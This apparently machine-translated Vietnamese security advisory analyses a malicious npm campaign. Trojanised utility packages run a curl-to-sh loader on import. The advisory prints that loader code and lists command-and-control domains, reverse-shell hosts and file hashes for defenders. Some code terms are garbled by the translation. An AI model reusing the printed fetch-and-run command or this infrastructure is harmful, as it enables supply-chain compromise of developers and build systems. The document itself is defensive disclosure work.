TL; DR
Một operator npm duy nhất đã xuất bản năm gói tin chứa mã độc Trojan trải qua hai vòng trong ba ngày. Các gói phần mềm giả dạng các tiện ích nhỏ như thay đổi màu sắc màn hình, ghi nhật ký và máy khách PostgreSQL. Mã độc hại chạy trên hệ điều hành này. ngay khi kiện hàng được nhập khẩu — không có tập lệnh cài đặt nào để bắt.
Vòng một (neon-terminal, neon-postgres, ne-logger(Bài viết này chưa được công bố vào lúc 14:14 UTC ngày 05/07/2026.) Bảy mươi tư phút sau Cùng một tài khoản đã đăng lại mã độc Trojan đó dưới những tên gọi mới (agn-terminal, agn-logger) — và chĩa nó vào điểm cuối điều khiển và chỉ huy giống nhau Trước đây nó đã sử dụng: tracker.bvgroup.co.
Máy chủ C2 đó là dấu hiệu duy nhất còn sót lại sau khi đổi tên, và là thứ nhanh nhất mà người bảo vệ có thể tìm kiếm. Mức độ nghiêm trọng: caoHệ sinh thái: NPMCác gói ưu đãi vòng hai vẫn đang được áp dụng tại thời điểm viết bài này.
Cuộc tấn công: cách thức hoạt động
Các gói hàng này là những mồi nhử có chức năng. Mở ra đầu cuối agn và bạn sẽ tìm thấy một công cụ hỗ trợ màu ANSI hoàn chỉnh, hoạt động tốt — mã số, hỗ trợ Màu sắc, tô màu, Sơn — với các kiểu dữ liệu và tệp README. Mã tiện ích hoạt động tốt. Nằm ở đầu mô-đun nhập liệu, phía trên mã hữu ích, là một vài dòng lệnh chạy khi nhập khẩu.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
Có ba yếu tố làm cho phương pháp này hiệu quả.
- Sự kiện này xảy ra khi nhập dữ liệu, chứ không phải khi cài đặt. Gói hàng không ghi rõ cài đặt trước or sau khi cài đặt Điểm mấu chốt — vị trí thường thấy mà các chuyên gia quét mã và đánh giá tìm kiếm. giám đốc điều hành `call` là mã cấp mô-đun. Nó chạy lần đầu tiên khi bất kỳ thứ gì được thực thi. yêu cầu(“agn-terminal”) or nhập khẩu “agn-terminal”, trên máy của nhà phát triển hoặc bên trong CI. Cả mục nhập ESM (src / index.js) và mục CommonJS (cjs/src/index.js) mang tải trọng giống hệt nhau, do đó cả hai hệ thống mô-đun đều được bao phủ.
- Phần tải trọng thực sự nằm ngoài bao bì. Gói hàng chỉ vận chuyển một lệnh duy nhất: fetch `remote.agyn.org/remote.sh` và chuyển tiếp nó đến `sh`. Bất cứ thứ gì mà nhà điều hành cung cấp từ URL đó tại thời điểm yêu cầu sẽ được thực thi. Điểm cuối C2 được chuyển cho tập lệnh đã tải xuống thông qua TRACKER_REMOTE_ENDPOINT biến môi trường, vì vậy kịch bản giai đoạn hai sẽ gọi về máy chủ tracker.bvgroup.co.
- Bao bì vận chuyển làm tăng phạm vi vụ nổ. agn-logger Đây là một mồi nhử thứ hai — một “thiết bị ghi nhật ký toàn cầu thu nhỏ”. Nó không có tải trọng riêng. Mô-đun đầu vào của nó chỉ thực hiện một việc quan trọng:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
Nó tuyên bố đầu cuối agn Nó được coi là một phần phụ thuộc và được nhập khẩu. Việc cài đặt hoặc nhập khẩu trình ghi nhật ký sẽ kéo theo và kích hoạt gói thiết bị đầu cuối một cách gián tiếp. Một dự án không bao giờ trực tiếp đặt tên cho Trojan vẫn có thể thực thi nó thông qua trình ghi nhật ký.
Có gì mới ở đây
Vòng đầu tiên không sử dụng bộ điều khiển từ xa. Nó vận chuyển tải trọng trực tiếp và leo thang từng phiên bản — một shell đảo ngược bash trong một bản phát hành, một phiên bản khác... net.Socket vỏ đảo ngược trong phần tiếp theo, một git add/commit/ đẩy của thư mục làm việc của nạn nhân trong một thư mục khác, và cuối cùng là một tác nhân điều khiển và kiểm soát HTTP hoàn chỉnh trong đầu cuối neon Phiên bản 0.9.0 đã đăng ký máy chủ, thăm dò các tác vụ và chạy chúng. hành ()và truyền lại đầu ra được mã hóa base64. Vòng thứ hai thu gọn tất cả những điều đó thành một. xoăn | sh, loại bỏ hoàn toàn giai đoạn hai khỏi hệ thống đăng ký. Cùng một nhà điều hành, gói thiết bị hoạt động êm hơn, tải trọng linh hoạt hơn — và quan trọng hơn, vẫn là hệ thống C2 như trước.
Lịch Trình Sự Kiện
| Ngày (UTC) | Sự kiện |
|---|---|
| 2026-07-03 07:03 | Vòng một đã được công bố: neon-terminal (Phiên bản 0.1.0 sạch, sau đó là 0.2.0–0.9.0 độc hại), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal được gắn cờ trong quá trình quét thời gian thực |
| 2026-07-04 | Đã xác nhận là phần mềm độc hại; mối tương quan cho thấy hai gói phần mềm anh em; các nỗ lực gỡ bỏ đầu tiên đã được thực hiện. |
| 2026-07-05 14:14 | Vòng một chưa được công bố — cả tám neon-terminal các phiên bản cộng với anh chị em ruột bị loại bỏ |
| 2026-07-05 15:28 | agn-terminal 0.1.0 công bố |
| 2026-07-05 15:29 | agn-logger 0.1.0 đã xuất bản — đơn vị vận chuyển cho gói thiết bị đầu cuối mới |
| 05/07/2026 (đang diễn ra) | Các gói ưu đãi vòng hai hiện đang được áp dụng tại thời điểm viết bài này. |
Hai vòng thi diễn ra cách nhau ba ngày, và khoảng thời gian giữa lúc gỡ bỏ và khởi động lại là 74 phút. Chiến dịch đang mở: agn-* Các kiện hàng vẫn chưa được dỡ bỏ khi bài viết này được viết.
Các chỉ số thỏa hiệp
Tìm kiếm tên gói trong các tệp khóa và cây phụ thuộc. Tìm kiếm proxy, DNS và BDU nhật ký cho các điểm cuối mạng. Máy chủ C2 tracker.bvgroup.co Bao trùm cả hai vòng và là chỉ số đơn lẻ có giá trị cao nhất.
Gói
| Bưu kiện | Các phiên bản | Vai trò | Trạng thái |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | Trojan (tải trọng nội tuyến → HTTP C2) | chưa được công bố |
neon-postgres | 3.5.2 | Trojan (phần tải trọng trong src/errors.js) | chưa được công bố |
ne-logger | 0.7.0 | nhà mạng (tùy thuộc vào) neon-terminal) | chưa được công bố |
agn-terminal | 0.1.0 | Trojan (curl | sh người dàn dựng) | sống |
agn-logger | 0.1.0 | nhà mạng (tùy thuộc vào) agn-terminal) | sống |
đầu cuối neon Phiên bản 0.1.0 là một bản gốc sạch — một thư viện màu hoạt động tốt mà không có mã độc — được phát hành để thiết lập gói phần mềm trước khi các phiên bản độc hại xuất hiện.
mạng
| chỉ số | Bối cảnh |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, cả hai vòng (mã thông báo vòng hai) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | vòng hai giai đoạn một máy xúc |
reverse.bvgroup.co:443 | điểm cuối đảo ngược vỏ vòng một (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | vỏ ngược vòng một (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | vỏ ngược vòng một (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | miền do người vận hành kiểm soát |
Hành vi
- Cấp độ mô-đun tiến trình con.exec ở đầu tệp nhập của gói tiện ích, trong cả hai trường hợp src / index.js (ESM) và cjs/src/index.js (CJS).
- A curl -fsSL … | sh một dòng với C2 được truyền qua TRACKER_REMOTE_ENDPOINT biến môi trường.
- Một gói "tiện ích" thứ hai khai báo gói đầu tiên là một phần phụ thuộc và nhập nó, mà không có nội dung riêng.
- Một phần còn lại // đầu cuối neon bình luận ở đầu trang đầu cuối agn — một đoạn sao chép nguyên văn liên kết việc đổi thương hiệu với bản gốc.
Mã băm tập tin (SHA-256, vòng hai)
- đầu cuối agn src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- đầu cuối agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Sự quy kết và hành vi quan sát được
Mỗi gói phần mềm đều được liên kết với một tài khoản npm duy nhất. vitalii-agyn, đăng tải dưới địa chỉ email chưa được xác minh. vitalii@agyn.io. Siêu dữ liệu đăng ký của tài khoản liệt kê cả ba gói vòng một do tài khoản đó duy trì. Cơ sở hạ tầng liên kết các vòng lại với nhau: tên miền. agyn.org phù hợp với nhà xuất bản agyn.io tên miền email và máy chủ C2 tracker.bvgroup.co xuất hiện trong cả hai đầu cuối neon 0.9.0 và đầu cuối agn 0.1.0 — đường dẫn bộ thu thập vẫn giữ nguyên, được sử dụng lại y nguyên sau khi đổi tên.
Chúng tôi mô tả những gì các hiện vật thể hiện và dừng lại ở đó. Địa chỉ email được nhà xuất bản cung cấp là: vitalii@agyn.ioChúng tôi chưa xác minh quyền sở hữu địa chỉ đó và không gán tài khoản đó cho bất kỳ cá nhân hoặc nhóm nào được nêu tên. Việc sử dụng lại một điểm cuối C2 trên hai nhóm gói phần mềm là một tín hiệu mạnh mẽ cho thấy cùng một nhà điều hành, chứ không phải là một danh tính.
Các gói sản phẩm vòng một tập trung vào sự liền kề thương hiệu. neon-postgres Đây là bản sao hoàn chỉnh của sản phẩm được sử dụng rộng rãi của Porsager. postgres.js bao gồm cả khách hàng, khẩu hiệu và mọi thứ, cùng với dữ liệu được giấu kín bên trong. src/errors.js vì vậy, một đường dẫn nhập khẩu thông thường sẽ đến được đó — và neon- Tiền tố này mượn sự dễ nhận biết của Neon, nhà cung cấp Postgres không máy chủ. Các tên gọi ở vòng hai đã bỏ đi sự giả mạo và trở nên chung chung hơn (đầu cuối agn, agn-logger), đổi sức hút thương hiệu lấy một sự tách biệt rõ ràng hơn khỏi những cái tên đã bị "bỏ rơi".
Tác động, xu hướng và hướng dẫn phòng thủ
- Ai bị lộ thông tin? Bất kỳ ai cài đặt và nhập một trong những gói này, trực tiếp hoặc thông qua nhà cung cấp, trên máy chủ giống Unix. Trình dàn dựng sử dụng quăn lại và sh; các quả đạn tròn một sử dụng bash và /dev/tcpVì quá trình thực thi diễn ra ngay khi nhập khẩu, nên chỉ cần một máy chủ xây dựng cài đặt phần phụ thuộc và chạy bất kỳ đoạn mã nào liên quan đến nó là đủ — không cần bước hậu cài đặt nào khác. Trên máy trạm của nhà phát triển hoặc trình chạy CI, giai đoạn hai đã tải xuống sẽ chạy với quyền hạn của người dùng và phạm vi truy cập mạng đầy đủ.
- Vì sao việc thực thi tại thời điểm nhập khẩu lại quan trọng. Các biện pháp phòng vệ chuỗi cung ứng đã tập trung vào các tập lệnh cài đặt, và điều này là hợp lý — postinstall là điểm tựa kinh điển của npm. Chiến dịch này hoàn toàn bỏ qua điều đó. Không có hook cài đặt nào để gắn cờ. mã độc hại Đây là quá trình khởi tạo mô-đun thông thường, thoạt nhìn không thể phân biệt được với việc một gói tính toán bảng tra cứu khi tải. Công cụ chỉ kiểm tra các tập lệnh trong package.json sẽ không thấy gì.
- Xu hướng đổi thương hiệu và tái sử dụng. Điều đáng chú ý chính là thời gian phản hồi chỉ trong 74 phút. Việc gỡ bỏ đã xóa tên miền nhưng không xóa được nhà điều hành, cơ sở hạ tầng hay mã nguồn. Trong vòng một giờ, chiến dịch lại hoạt động trở lại với những tên miền mới trỏ đến cùng một máy chủ điều khiển (C2). Chặn dựa trên tên miền — chẳng hạn như denylisting neon-terminal — đã trở nên lỗi thời. Chặn dựa trên cơ sở hạ tầng — chẳng hạn như denylisting bvgroup.co — sẽ bắt được vòng tấn công thứ hai ngay khi nó xuất hiện. Đối với một nhà điều hành đang hoạt động và tái phát hành nhanh hơn tốc độ xóa bỏ của các cơ quan đăng ký, chỉ báo bền vững chính là điểm cuối mạng, chứ không phải tên gói tin.
làm gì bây giờ
- Tìm kiếm trong các tệp khóa và cây thư mục đã cài đặt tất cả năm tên gói ở trên. Coi bất kỳ kết quả trùng khớp nào là máy chủ bị xâm nhập và thay đổi thông tin đăng nhập có thể truy cập được từ đó.
- Chặn và cảnh báo trên các tên miền bvgroup.co, agyn.orgvà các điểm cuối ngrok trong DNS và lọc lưu lượng truy cập ra. tracker.bvgroup.co là ưu tiên.
- Không nên chỉ dựa vào việc quét bằng install-hook. Hãy bổ sung tính năng phát hiện ở cấp độ mô-đun. tiến trình con và các cuộc gọi mạng trong các phần phụ thuộc, và cho uốn cong … | sh các mẫu trong mã nguồn gói.
- Hãy xem xét kỹ hơn một gói tiện ích khai báo một tiện ích khác ít được biết đến là phụ thuộc duy nhất của nó, và nhập khẩu tiện ích đó khi tải.
- Trong CI, hãy ưu tiên –Ignore-scripts Trong trường hợp khả thi, nhưng cần hiểu rằng điều đó không giúp ích gì ở đây — dữ liệu được xử lý khi nhập khẩu, vì vậy việc kiểm soát đầu ra trong thời gian chạy và xem xét các phụ thuộc quan trọng hơn.
dự án
- PostgreSQL không máy chủ Neon — thương hiệu neon-* Tên gọi được lấy cảm hứng từ sự dễ nhận biết.
- Porsager postgres.js — khách hàng neon-postgres nhân bản.






